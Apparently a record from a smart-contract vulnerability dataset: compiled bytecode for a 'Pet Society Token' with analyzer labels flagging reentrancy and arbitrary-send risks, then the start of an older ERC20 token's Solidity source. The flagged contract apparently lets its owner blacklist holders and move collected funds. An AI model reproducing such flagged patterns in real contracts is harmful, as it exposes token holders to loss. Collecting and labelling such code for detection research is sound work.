0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601181526020017f50657420536f636965747920546f6b656e000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f50534f4300000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600a42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6007600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220221d1b9c488df81b88c0786a0d416cfc2e17aa690022f76fdbf827acf5f0f2af64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,119 |
0x25c36afd5c5a9e2e74b83b53e420a0080cc8d5af
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _amount) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool);
function approve(address _spender, uint256 _amount) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
